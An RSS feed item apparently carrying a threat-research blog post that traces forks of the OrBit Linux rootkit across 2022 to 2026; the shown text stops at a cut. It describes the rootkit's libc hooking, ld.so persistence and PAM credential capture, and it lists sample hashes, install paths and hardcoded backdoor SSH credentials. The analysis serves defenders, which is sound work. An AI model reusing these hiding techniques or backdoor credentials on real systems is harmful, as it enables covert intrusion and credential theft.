<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Linux</title><link>https://research.intezer.com/tags/linux/</link><description>Recent content in Linux on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Thu, 14 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>OrBit (Re)turns: Tracking an Open-Source Linux Rootkit Across Four Years of Forks and Deployments</title><link>https://research.intezer.com/blog/2026/05/orbit-returns/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2026/05/orbit-returns/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In July 2022, we
&lt;a href="../../../2022/07/orbit-new-undetected-linux-threat/"&gt;published the first analysis&lt;/a&gt;
of OrBit, a then-undocumented Linux userland-rootkit that stood out for its
comprehensive libc hooking, SSH backdoor access, and PAM-based credential
harvesting. At the time, OrBit appeared as a single sample with a single
operator fingerprint, and the codebase itself looked customized.&lt;/p&gt;
&lt;p&gt;It wasn&amp;rsquo;t. As we will show below, OrBit is a repackaged and selectively
weaponized build of &lt;a href="https://github.com/ldpreload/Medusa"target="_blank" rel="noopener"&gt;Medusa&lt;/a&gt;, an
open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story
of OrBit&amp;rsquo;s four-year evolution is not one of novel development; it&amp;rsquo;s the story
of how a publicly available rootkit was forked, configured, and redeployed.&lt;/p&gt;
&lt;p&gt;Nearly four years later, OrBit is still in the wild, and it has not stood
still. Hunting across VirusTotal, we pulled more than a dozen samples spanning
2022 through 2026 and walked each one through static and differential analysis.
What we discovered is not a single evolving binary but two parallel lineages: a
full-featured &amp;ldquo;Lineage A&amp;rdquo; build that tracks closely with the 2022 original, and
a lite &amp;ldquo;Lineage B&amp;rdquo; fork that drops entire capability domains (PAM, pcap,
TCP-port hiding) in exchange for a smaller footprint. Along the way, the
operators rotate XOR keys, shuffle install paths, swap backdoor credentials,
add auditd-evasion hooks, and eventually bolt on a service-side PAM
impersonation primitive.&lt;/p&gt;
&lt;p&gt;This blog picks up where the 2022 analysis left off. We focus on what changed,
when, and why it matters for defenders. For each epoch, we enumerate the
samples, call out the lineage, and break down the meaningful changes:
credential changes, hook-set diffs, new evasion behavior, and operator
tradecraft.&lt;/p&gt;
&lt;h2&gt;Background: What is OrBit?&lt;span class="hx:absolute hx:-mt-20" id="background-what-is-orbit"&gt;&lt;/span&gt;
&lt;a href="#background-what-is-orbit" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;For readers unfamiliar with the original analysis, OrBit is a Linux
userland-rootkit deployed as a shared library (.so) that achieves persistence
by patching the dynamic linker, specifically modifying ld.so to ensure the
malicious library is loaded into every process on the system. It operates as a
passive implant with no command-and-control communication; instead, the
attacker connects in through an SSH backdoor. Once installed, OrBit hooks into
PAM functions to harvest credentials from SSH and sudo authentication attempts,
storing the captured passwords locally.&lt;/p&gt;
&lt;p&gt;Its evasion capabilities are comprehensive, hooking over forty libc functions
to hide files, processes, and network connections from administrators and
security tools alike. The malware stores its harvested credentials and
configuration data in &lt;code&gt;/lib/libntpVnQE6mk/&lt;/code&gt;, a directory that remains invisible
to standard enumeration thanks to the rootkit&amp;rsquo;s own hooks.&lt;/p&gt;
&lt;h3&gt;July 2022&lt;span class="hx:absolute hx:-mt-20" id="july-2022"&gt;&lt;/span&gt;
&lt;a href="#july-2022" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;XOR&lt;/th&gt;
&lt;th&gt;Working dir&lt;/th&gt;
&lt;th&gt;SSH Username&lt;/th&gt;
&lt;th&gt;SSH Password&lt;/th&gt;
&lt;th&gt;# Exports&lt;/th&gt;
&lt;th&gt;# Hooks&lt;/th&gt;
&lt;th&gt;Dropper&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;40b5127c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libntpVnQE6mk/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2l8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;c4ss0ul3tt3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;&lt;code&gt;f1612924&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We will refer to this variant as Lineage A &amp;ldquo;Full&amp;rdquo; build of OrBit.&lt;/p&gt;
&lt;h2&gt;OrBit Variants Through The Years&lt;span class="hx:absolute hx:-mt-20" id="orbit-variants-through-the-years"&gt;&lt;/span&gt;
&lt;a href="#orbit-variants-through-the-years" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In our research, we collected samples from VirusTotal. Unlike PE files, ELF
files don’t include a compilation timestamp, so we started by aggregating the
samples by the date they were submitted to VirusTotal. To track the samples on
the blog, we use the first 8 characters of each sample&amp;rsquo;s SHA-256. At the bottom
of the blog, you can find the full list of IOCs.&lt;/p&gt;
&lt;h3&gt;December 2022&lt;span class="hx:absolute hx:-mt-20" id="december-2022"&gt;&lt;/span&gt;
&lt;a href="#december-2022" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The first version shows a slight change: the username and password for the SSH
connection, and the exported functions. Credential mechanism shift: &lt;code&gt;40b5127c&lt;/code&gt;
resolved the backdoor username dynamically via the getpwuid hook; &lt;code&gt;ec7462c3&lt;/code&gt;
dropped that hook entirely and hardcodes &lt;code&gt;adm1n&lt;/code&gt; directly in the XOR-encrypted
string table. The working folder was changed to &lt;strong&gt;libseconf&lt;/strong&gt;. For the most
part, the later variants will use this path.&lt;/p&gt;
&lt;p&gt;All other capabilities are identical: file I/O interception, stat hiding, PAM
credential capture, TCP port hiding
(alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring
(.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression,
and process hiding.&lt;/p&gt;
&lt;p&gt;The transition from 2022 to 2023 is essentially a redeployment with new
credentials and a more convincing install path, plus a minor simplification
(dropping dynamic UID lookup in favor of a hardcoded username).&lt;/p&gt;
&lt;p&gt;The rootkit&amp;rsquo;s hook surface stayed stable.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;XOR&lt;/th&gt;
&lt;th&gt;Working dir&lt;/th&gt;
&lt;th&gt;SSH Username&lt;/th&gt;
&lt;th&gt;SSH Password&lt;/th&gt;
&lt;th&gt;# Exports&lt;/th&gt;
&lt;th&gt;# Hooks&lt;/th&gt;
&lt;th&gt;Dropper&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ec7462c3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adm1n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;asdfasdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8ea420d9&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Samples From 2023&lt;span class="hx:absolute hx:-mt-20" id="samples-from-2023"&gt;&lt;/span&gt;
&lt;a href="#samples-from-2023" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;XOR&lt;/th&gt;
&lt;th&gt;Working dir&lt;/th&gt;
&lt;th&gt;SSH Username&lt;/th&gt;
&lt;th&gt;SSH Password&lt;/th&gt;
&lt;th&gt;# Exports&lt;/th&gt;
&lt;th&gt;# Hooks&lt;/th&gt;
&lt;th&gt;Dropper&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;d419a9b1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/fuckwhitehatshome/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fuckwhitehatsuser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fuckwhitehatspass&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;296d28eb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adm1n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;asdfasdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;65&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;3ba6c174&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adm1n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(not present)&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;&lt;code&gt;26082cd3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;4203271c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;b4ph0m3t0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(not present)&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The d419a9b1 sample stands out for the operator’s choice of the install path
(/lib/fuckwhitehatshome/) and the SSH username and password. No other known
samples use these strings, suggesting a different operator or persona authored
this particular build rather than it simply being a different deployment of the
same toolkit. Functionally, it carries the full 2022-era hook set, with 65
exports.&lt;/p&gt;
&lt;p&gt;The 296d28eb sample is a full-featured build that uses the libseconf path and
the same SSH credentials as ec7462c3. But this sample also has an evolutionary
step: dropped TCP port hiding, added the exported xread function. This is not
an LD_PRELOAD hook on a system library; it’s a wrapper that calls
syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().&lt;/p&gt;
&lt;p&gt;The rootkit hooks the libc read() function; the hook filters out rootkit
artifacts from files such as/proc/net/tcp and directory listings. Some C
programs, such as &lt;a href="https://github.com/git/git/blob/master/wrapper.c#L228"target="_blank" rel="noopener"&gt;Git&lt;/a&gt;,
define their own internal xread() helper that wraps read() to handle partial
reads and EINTR. Normally, these internal helpers call libc read(), which the
rootkit intercepts and filters. By exporting its own xread, which directly
calls syscall (&lt;a href="https://filippo.io/linux-syscall-table/"target="_blank" rel="noopener"&gt;SYS_read&lt;/a&gt;), the
rootkit shadows these program-internal helpers with a version that bypasses its
own read hook entirely. This is a compatibility fix: without it, any program
that defines xread would receive the rootkit’s filtered output through its core
I/O path, potentially corrupting SSH protocol streams, breaking git operations,
or causing other malfunctions that could expose the rootkit’s presence. The
hook ensures that programs continue to function normally while the rootkit’s
read interception remains active for standard libc callers.&lt;/p&gt;
&lt;p&gt;This variant is still part of Lineage A.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0041724&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nf"&gt;xread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int64_t&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0041724&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0041724&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0041725&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;bytes_read&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00417262&lt;/span&gt; &lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;var_c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00417262&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;ad&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;ad&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="c1"&gt;// SYS_read
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;read_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;syscall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read_result&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;bytes_read&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;a0&lt;/span&gt; &lt;span class="n"&gt;bytes_read&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;read_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;read_result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;ad&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;ad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;004172&lt;/span&gt;&lt;span class="n"&gt;af&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;bytes_read&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0041724&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;The exported xread function in sample 296d28eb.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;3ba6c174 / 4203271c: Lineage B lite build&lt;span class="hx:absolute hx:-mt-20" id="3ba6c174--4203271c-lineage-b-lite-build"&gt;&lt;/span&gt;
&lt;a href="#3ba6c174--4203271c-lineage-b-lite-build" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B,
a deliberately lite fork of the OrBit rootkit. Both are dynamically linked
shared objects using the standard 0xA2 XOR key and installed in
&lt;code&gt;/lib/libseconf/&lt;/code&gt;, but they export only 54 functions, compared to the 67 in
their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed
exports strip out three entire capability domains: network port-hiding
(alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential
interception (pam_authenticate, pam_acct_mgmt, pam_open_session,
pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The
string table reflects this (.logpam and .udp are absent), though .ports,
.hosts, and sshpass2.txt are retained. This reduced feature set suggests they
were purpose-built for different target environments where a smaller footprint
or more limited functionality was either sufficient or preferred.&lt;/p&gt;
&lt;p&gt;The most notable change is the complete absence of a backdoor password. Every
Lineage A sample embeds a password in its XOR-encrypted string block, but in
both &lt;code&gt;3ba6c174&lt;/code&gt; and &lt;code&gt;4203271c&lt;/code&gt;, the password field is missing. Each sample
carries a distinct username (&lt;code&gt;adm1n&lt;/code&gt; and &lt;code&gt;b4ph0m3t0&lt;/code&gt;, respectively), and these
are the only byte-level differences between the two binaries. This pattern of
54 exports, no password, no PAM/pcap hooks, held consistent across all
subsequent Lineage B samples through 2024.&lt;/p&gt;
&lt;h3&gt;Samples From 2024&lt;span class="hx:absolute hx:-mt-20" id="samples-from-2024"&gt;&lt;/span&gt;
&lt;a href="#samples-from-2024" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;XOR&lt;/th&gt;
&lt;th&gt;Working dir&lt;/th&gt;
&lt;th&gt;SSH Username&lt;/th&gt;
&lt;th&gt;SSH Password&lt;/th&gt;
&lt;th&gt;# Exports&lt;/th&gt;
&lt;th&gt;# Hooks&lt;/th&gt;
&lt;th&gt;Dropper&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;eea274ed&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xAA&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib64/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Y0u4reCu6e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1qaz@WSX3edc123&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a6138638&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xAA&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/locate/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Y0u4reCu6e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1qaz@WSX3edc123&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a34299a1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rebel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(not present)&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;b1dd18a6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Gestuff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(not present)&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fc2e0cb6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;989f7eb4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adm1n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(not present)&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;&lt;code&gt;48a68d05&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;2024 is the most diverse epoch in OrBit&amp;rsquo;s timeline, with both lineages active
simultaneously and an encryption key change in the Lineage A branch.&lt;/p&gt;
&lt;h4&gt;eea274ed / a6138638: Lineage A, 0xAA key rotation&lt;span class="hx:absolute hx:-mt-20" id="eea274ed--a6138638-lineage-a-0xaa-key-rotation"&gt;&lt;/span&gt;
&lt;a href="#eea274ed--a6138638-lineage-a-0xaa-key-rotation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;These two samples belong to the same lineage: identical XOR key (0xAA is a
break from the long-standing 0xA2), identical credentials (&lt;code&gt;Y0u4reCu6e&lt;/code&gt; /
&lt;code&gt;1qaz@WSX3edc123&lt;/code&gt;), and identical hook count (54). The only structural
difference is the install path: &lt;code&gt;/lib64/libseconf/&lt;/code&gt; versus &lt;code&gt;/lib/locate/&lt;/code&gt;. This
is probably a deliberate path rotation to evade detections anchored on the
previously documented &lt;code&gt;/lib/libseconf/&lt;/code&gt; directory. Credentials are stored
inline in the XOR-encrypted block rather than written to &lt;code&gt;sshpass.txt&lt;/code&gt;,
representing a shift in the credential storage model. Both samples also have a
reduced hook for the&amp;rsquo; execve&amp;rsquo; function: the &lt;code&gt;execve&lt;/code&gt; hook handles persistence
maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to
other samples in the lineage, it is a reduced feature set: no strace
interception, no IP/iptables hooks, no command logging.&lt;/p&gt;
&lt;p&gt;Despite sharing the same hook count, the two samples do not share the same hook
set. &lt;code&gt;a6138638&lt;/code&gt; swaps read/write for readdir_r/readdir64_r, indicating a
targeted adjustment to the directory-hiding mechanism. A string-level diff
reveals more changes:&lt;/p&gt;
